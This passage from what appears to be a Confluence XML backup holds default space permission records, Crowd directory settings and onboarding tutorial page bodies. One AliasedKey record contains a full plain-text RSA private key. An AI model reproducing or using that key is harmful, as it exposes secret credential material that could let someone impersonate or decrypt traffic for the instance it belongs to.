<property name="lastModificationDate">2023-11-09 06:04:19.387</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458789</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EDITBLOG]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.389</property>
<property name="lastModificationDate">2023-11-09 06:04:19.389</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458790</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EDITBLOG]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.391</property>
<property name="lastModificationDate">2023-11-09 06:04:19.391</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458791</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EDITBLOG]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.394</property>
<property name="lastModificationDate">2023-11-09 06:04:19.394</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458784</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.376</property>
<property name="lastModificationDate">2023-11-09 06:04:19.376</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458785</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.379</property>
<property name="lastModificationDate">2023-11-09 06:04:19.379</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458786</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.381</property>
<property name="lastModificationDate">2023-11-09 06:04:19.381</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458787</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.384</property>
<property name="lastModificationDate">2023-11-09 06:04:19.384</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458780</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEBLOG]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.367</property>
<property name="lastModificationDate">2023-11-09 06:04:19.367</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458781</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEBLOG]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.369</property>
<property name="lastModificationDate">2023-11-09 06:04:19.369</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458782</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEBLOG]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.371</property>
<property name="lastModificationDate">2023-11-09 06:04:19.371</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458783</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.374</property>
<property name="lastModificationDate">2023-11-09 06:04:19.374</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458776</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEPAGE]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.356</property>
<property name="lastModificationDate">2023-11-09 06:04:19.356</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458777</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.361</property>
<property name="lastModificationDate">2023-11-09 06:04:19.361</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458778</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.363</property>
<property name="lastModificationDate">2023-11-09 06:04:19.363</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458779</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.365</property>
<property name="lastModificationDate">2023-11-09 06:04:19.365</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458772</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EDITSPACE]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.346</property>
<property name="lastModificationDate">2023-11-09 06:04:19.346</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458773</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[SETSPACEPERMISSIONS]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.349</property>
<property name="lastModificationDate">2023-11-09 06:04:19.349</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458774</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEPAGE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.351</property>
<property name="lastModificationDate">2023-11-09 06:04:19.351</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458775</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEPAGE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.353</property>
<property name="lastModificationDate">2023-11-09 06:04:19.353</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458768</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[COMMENT]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.336</property>
<property name="lastModificationDate">2023-11-09 06:04:19.336</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458769</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[COMMENT]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.339</property>
<property name="lastModificationDate">2023-11-09 06:04:19.339</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458770</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EDITSPACE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.341</property>
<property name="lastModificationDate">2023-11-09 06:04:19.341</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458771</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EDITSPACE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.344</property>
<property name="lastModificationDate">2023-11-09 06:04:19.344</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458764</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.323</property>
<property name="lastModificationDate">2023-11-09 06:04:19.323</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458765</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.326</property>
<property name="lastModificationDate">2023-11-09 06:04:19.326</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458766</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.329</property>
<property name="lastModificationDate">2023-11-09 06:04:19.329</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458767</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[COMMENT]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.332</property>
<property name="lastModificationDate">2023-11-09 06:04:19.332</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458760</id>
<property name="type"><![CDATA[CREATESPACE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.418</property>
<property name="lastModificationDate">2023-11-09 06:04:18.418</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458761</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[VIEWSPACE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.263</property>
<property name="lastModificationDate">2023-11-09 06:04:19.263</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458762</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[VIEWSPACE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.305</property>
<property name="lastModificationDate">2023-11-09 06:04:19.305</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458763</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[VIEWSPACE]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.315</property>
<property name="lastModificationDate">2023-11-09 06:04:19.315</property>
</object>
<object class="AliasedKey" package="com.atlassian.confluence.security.persistence.dao.hibernate">
<id name="id">65537</id>
<property name="alias"><![CDATA[confluence:174556]]></property>
<property name="key"><![CDATA[ RSA public MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArOTFjqwSVsGy6FLWppvYB04deZb5FsAe8BwS2mub/YFUOmc61ia97mcHDaqPKyRrM7QlJUdAQXRWMqycZuumGUahSyC6xsxsQLHSPsf2f6f1naTdL4anPfvzWlYaAl+WAPydpY9ZkgWlxXxzbmvd8Av4Ay84P8qfCNdufpn9QshrV0F3ZODU4gCr2LJRd49eWGSpxUJDvL9MQNOrxtyaDb9r/mxZ48Ed0Fn+kBmLrBxryyC055I0dBIS+JKDQb3qbHymwBQ1qYPdR85BIO6ozYd4UQ1ZeaeKK4T/zn7nohlVyLlDhcfGW0SicxkGfXOiDl8YgaGZeJQXSiQeHTYRYwIDAQAB ]]></property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458756</id>
<property name="type"><![CDATA[USECONFLUENCE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.397</property>
<property name="lastModificationDate">2023-11-09 06:04:18.397</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458757</id>
<property name="type"><![CDATA[SYSTEMADMINISTRATOR]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.406</property>
<property name="lastModificationDate">2023-11-09 06:04:18.406</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458758</id>
<property name="type"><![CDATA[PERSONALSPACE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.410</property>
<property name="lastModificationDate">2023-11-09 06:04:18.410</property>
</object>
<object class="AliasedKey" package="com.atlassian.confluence.security.persistence.dao.hibernate">
<id name="id">65538</id>
<property name="alias"><![CDATA[confluence:174556]]></property>
<property name="key"><![CDATA[ RSA private MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCs5MWOrBJWwbLoUtamm9gHTh15lvkWwB7wHBLaa5v9gVQ6ZzrWJr3uZwcNqo8rJGsztCUlR0BBdFYyrJxm66YZRqFLILrGzGxAsdI+x/Z/p/WdpN0vhqc9+/NaVhoCX5YA/J2lj1mSBaXFfHNua93wC/gDLzg/yp8I125+mf1CyGtXQXdk4NTiAKvYslF3j15YZKnFQkO8v0xA06vG3JoNv2v+bFnjwR3QWf6QGYusHGvLILTnkjR0EhL4koNBvepsfKbAFDWpg91HzkEg7qjNh3hRDVl5p4orhP/OfueiGVXIuUOFx8ZbRKJzGQZ9c6IOXxiBoZl4lBdKJB4dNhFjAgMBAAECggEAM9D+moNcna7AyVsmZNmZNZtGPy4tqhFbVFf9mIOexSvRDA3rNsp2qvAqz4A6F1J7ZIwNg+4mRlexC8/qsffXGIUwCv2crL8QhJUmr1UrvdefR6dk+Pzwu6V6qiza77IpGVOchcWAMUDLDXR+fe4LHonfw0iQIaI+5p32SjAplK1QsFbUmcmNqDr+lBIord6xwRjqJJnN5scHfV3zPKn8boida508IaSrvpFBfEMcq77Mw0wPKzPFToKGkOaGAp2mRNBoz9j4vVvy0snOee51tRtlVPu1+Hp8q4nNbif8oJPc9eVjSO48kUOncIZmyx4HYc04UgYn5du66vnqbEbjGQKBgQDoUz/GFrP5zaWPB1AJZgeDUt8+3D9eH7C96J9Td3gaNsVsLgRHd98L8oQaTZxxSrKCAEFkroI15Sapa4HZ0klrWTmZWk0Z2nP8YsotPz345+Ywj4a9+m7+HBisDREt+vT8X3lV83B22/WyQf8dd8Bo1XBslve0H0c8S+8BB5C/aQKBgQC+gxw8gm55a95EFLMS3xDtuJTaUkqHm35k5Hd11G4wSetlTCVRKQ5ErnpSvTFH4f2n5Ke4CEdFFgqYIlnhIfzUYyfeeswcxokbwFnDiF8e76Uel0Asng8a0TbJEmGtrkCAW9cQSFX5gFx26VwT7BW2Tu6GzoY8pduq9h2ihTP86wKBgQCkBlKaSmEa1uQyjRkm6ZAYWaQgP2PF0l34VopWZZy39T+BVyPSSYGCb+BwqabwHarWOdPxf3uTDYw0RSDSZrNLRR1zddvFiwQkhqLzOxlH6IIOeubIrk06vx90KW2dpvbcT5Pc6RjX8ggPqKSza16/JSJQqG2OEB89JOdDNNIvMQKBgQCx/fDtn7bzfpJk7Sn5oatBTsjTyTqUw/Qs8z+hON3SA94IAEKFN2R7SsBCeTyHul6w8/K3ABUGOPeg98cdjhGXpSRkujnlUKBc6zNyegDU+HU+xXVRukLGfV1AMwpLqJfe1O9z6QFaYFEDUDeU7WfDsq8sB9xm4VcAvX0mkGjoDQKBgAiPqCJ/bRYhkbs4ZRRfioa5EfQG6oH9VEVHSXP4lG+wzRMjFKOvA+cosXlnZlkqTFzX2bFW2Hm582ikaY1AYHS/gGNPKoN5FRxR+4s3bZ4kQ2YRj1X6aTnE6cG5UWyzHKQXmxYSiLEbS1bofb1D8qaBVWhoJ74DcsfWCeY58gGT ]]></property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458759</id>
<property name="type"><![CDATA[CREATESPACE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.415</property>
<property name="lastModificationDate">2023-11-09 06:04:18.415</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458753</id>
<property name="type"><![CDATA[USECONFLUENCE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.336</property>
<property name="lastModificationDate">2023-11-09 06:04:18.336</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458754</id>
<property name="type"><![CDATA[PERSONALSPACE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.391</property>
<property name="lastModificationDate">2023-11-09 06:04:18.391</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458755</id>
<property name="type"><![CDATA[ADMINISTRATECONFLUENCE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.394</property>
<property name="lastModificationDate">2023-11-09 06:04:18.394</property>
</object>
<object class="DirectoryImpl" package="com.atlassian.crowd.model.directory">
<id name="id">360449</id>
<property name="name"><![CDATA[Confluence Internal Directory]]></property>
<property name="lowerName"><![CDATA[confluence internal directory]]></property>
<property name="createdDate">2023-11-09 06:04:18.127</property>
<property name="updatedDate">2023-11-09 06:04:18.127</property>
<property name="active">true</property>
<property name="description"><![CDATA[Confluence default internal directory]]></property>
<property name="implementationClass"><![CDATA[com.atlassian.crowd.directory.InternalDirectory]]></property>
<property name="lowerImplementationClass"><![CDATA[com.atlassian.crowd.directory.internaldirectory]]></property>
<property name="type" enum-class="DirectoryType" package="com.atlassian.crowd.embedded.api">INTERNAL</property>
<collection name="allowedOperations" class="java.util.Set"><element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP_ATTRIBUTE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_ROLE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_USER</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE_ATTRIBUTE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER_ATTRIBUTE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_USER</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_ROLE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_GROUP</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_GROUP</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE</element>
</collection>
<collection name="attributes" class="java.util.Map"><element name="user_encryption_method" type="string"><![CDATA[atlassian-security]]></element>
</collection>
</object>
<object class="ApplicationImpl" package="com.atlassian.crowd.model.application">
<id name="id">327681</id>
<property name="name"><![CDATA[crowd-embedded]]></property>
<property name="lowerName"><![CDATA[crowd-embedded]]></property>
<property name="createdDate">2023-11-09 06:04:18.083</property>
<property name="updatedDate">2023-11-09 06:04:18.165</property>
<property name="active">true</property>
<property name="description"/><property name="type" enum-class="ApplicationType" package="com.atlassian.crowd.model.application">GENERIC_APPLICATION</property>
<component name="credential"><property name="credential" type="string"><![CDATA[X]]></property>
</component>
<collection name="attributes" class="java.util.Map"><element name="com.sun.jndi.ldap.connect.pool.initsize" type="string"><![CDATA[1]]></element>
<element name="atlassian_sha1_applied" type="string"><![CDATA[true]]></element>
<element name="com.sun.jndi.ldap.connect.pool.timeout" type="string"><![CDATA[30000]]></element>
<element name="com.sun.jndi.ldap.connect.pool.authentication" type="string"><![CDATA[simple]]></element>
<element name="com.sun.jndi.ldap.connect.pool.maxsize" type="string"><![CDATA[0]]></element>
<element name="com.sun.jndi.ldap.connect.pool.prefsize" type="string"><![CDATA[10]]></element>
<element name="aggregateMemberships" type="string"><![CDATA[true]]></element>
<element name="com.sun.jndi.ldap.connect.pool.protocol" type="string"><![CDATA[plain ssl]]></element>
</collection>
<collection name="directoryMappings" class="java.util.List"><element class="DirectoryMapping" package="com.atlassian.crowd.model.application"><id name="id">393217</id>
</element>
</collection>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163844</id>
<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p><span style="color: rgb(64,64,64);">Confluence automatically transforms linked content</span>&nbsp;<span style="color: rgb(64,64,64);">into rich content.</span>&nbsp;<span style="color: rgb(64,64,64);">Try it with Confluence pages, JIRA issues, YouTube and Vimeo videos,&nbsp;<br /></span><span style="color: rgb(64,64,64);">Flickr photo streams, Tweets, Google maps and many more.</span></p><p><span style="color: rgb(64,64,64);">Here's two examples of autoconvert in action.</span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_equal"><ac:layout-cell><h3>&nbsp;&nbsp; <br /><ac:structured-macro ac:name="widget" ac:schema-version="1" ac:macro-id="e115eec2-dcf7-445c-b563-aca39824d38e"><ac:parameter ac:name="url"><ri:url ri:value="http://youtube.com/watch?v=RXhL9cfwx2c" /></ac:parameter></ac:structured-macro></h3></ac:layout-cell><ac:layout-cell><p><span style="color: rgb(0,0,0);"> <ac:structured-macro ac:name="widget" ac:schema-version="1" ac:macro-id="6f0d84bb-46ee-40a0-8379-fb9a87faf7c7"><ac:parameter ac:name="url"><ri:url ri:value="https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&amp;hl=en&amp;ll=-33.866572,151.207001&amp;spn=0.004321,0.008256&amp;sll=-33.870509,151.203707&amp;sspn=0.008641,0.016512&amp;oq=atlassian,&amp;hq=Atlassian,+George+Street,+New+South+Wales,+Australia&amp;radius=15000&amp;t=m&amp;z=18&amp;iwloc=A" /></ac:parameter></ac:structured-macro> </span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_equal"><ac:layout-cell><h3><span style="color: rgb(51,51,51);">Try it yourself:</span></h3><ol><li><span> <span> <span style="color: rgb(51,51,51);"> <span> <strong>Edit</strong>&nbsp;this page.</span> </span> </span> </span></li><li><span> <span> <span style="color: rgb(51,51,51);"> <span>Copy this link&nbsp;<a href="https://youtu.be/RXhL9cfwx2c">https://youtu.be/RXhL9cfwx2c</a> and paste it onto the page.</span> <br /></span> </span> </span></li><li><span style="color: rgb(51,51,51);">Autoconvert will&nbsp;embed the YouTube video on the page.</span></li><li><span style="color: rgb(51,51,51);">Save the page. <br /></span></li></ol></ac:layout-cell><ac:layout-cell><h3><span style="color: rgb(51,51,51);"> <span style="color: rgb(51,51,51);">Try it yourself</span>:</span></h3><ol><li><strong>Edit</strong>&nbsp;this page.</li><li>Copy this link &nbsp;<a href="https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&amp;hl=en&amp;ll=-33.866572,151.207001&amp;spn=0.004321,0.008256&amp;sll=-33.870509,151.203707&amp;sspn=0.008641,0.016512&amp;oq=atlassian,&amp;hq=Atlassian,+George+Street,+New+South+Wales,+Australia&amp;radius=15000&amp;t=m&amp;z=18&amp;iwloc=A">https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&amp;hl=en&amp;ll=-33.866572,151.207001&amp;spn=0.004321,0.008256&amp;sll=-33.870509,151.203707&amp;sspn=0.008641,0.016512&amp;oq=atlassian,&amp;hq=Atlassian,+George+Street,+New+South+Wales,+Australia&amp;radius=15000&amp;t=m&amp;z=18&amp;iwloc=A</a>&nbsp;and paste it onto the page.&nbsp;</li><li>Autoconvert will render the Google Maps view on the page.</li><li><span style="color: rgb(51,51,51);">Save the page. <br /></span></li></ol></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"> <br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"> <ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> </span></h1><p><span style="color: rgb(51,51,51);"> <br /></span></p></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163845</id>
<property name="body"><![CDATA[<p><span style="color: rgb(64,64,64);"><br /></span></p><p><span style="color: rgb(64,64,64);">Once you've created content you'll want to share it with your team members.&nbsp;<br /></span><span style="color: rgb(64,64,64);">Confluence can do all the work for you, just click the <strong>Share</strong> button.<br /></span></p><p style="margin-left: 30.0px;"><span style="color: rgb(64,64,64);"><span style="color: rgb(64,64,64);"><br /></span></span></p><ol><li>Let's tell someone about this page. <br />Click the <strong>Share</strong> button at the top right of the page. It looks like this:<br /><br /><ac:image ac:width="379"><ri:attachment ri:filename="step09-01.png" /></ac:image><br />&nbsp;</li><li>Type the name of the person or group you want to share the page with. <br />You can also enter an email address. <br /><br /></li><li>Add a message to give the person some background about the page.<br /><br /></li><li>Click the <strong>Share</strong> button. <br />Confluence will send the person an email message about this page. Shared!</li></ol><p>&nbsp;</p><p><img class="emoticon emoticon-warning" title="(warning)" src="http://localhost:8090/s/en_GB/7502/10587128b0de2a71f82b5acc129b8b5611829c93/_/images/icons/emoticons/warning.png" alt="(warning)" border="0" /><span style="color: rgb(64,64,64);"> If your administrator has not added a mail server, the&nbsp;</span><strong>Share</strong><span style="color: rgb(64,64,64);"> button will only show the share link.<br /></span></p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;</span></h1><p style="margin-left: 30.0px;"><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163846</id>
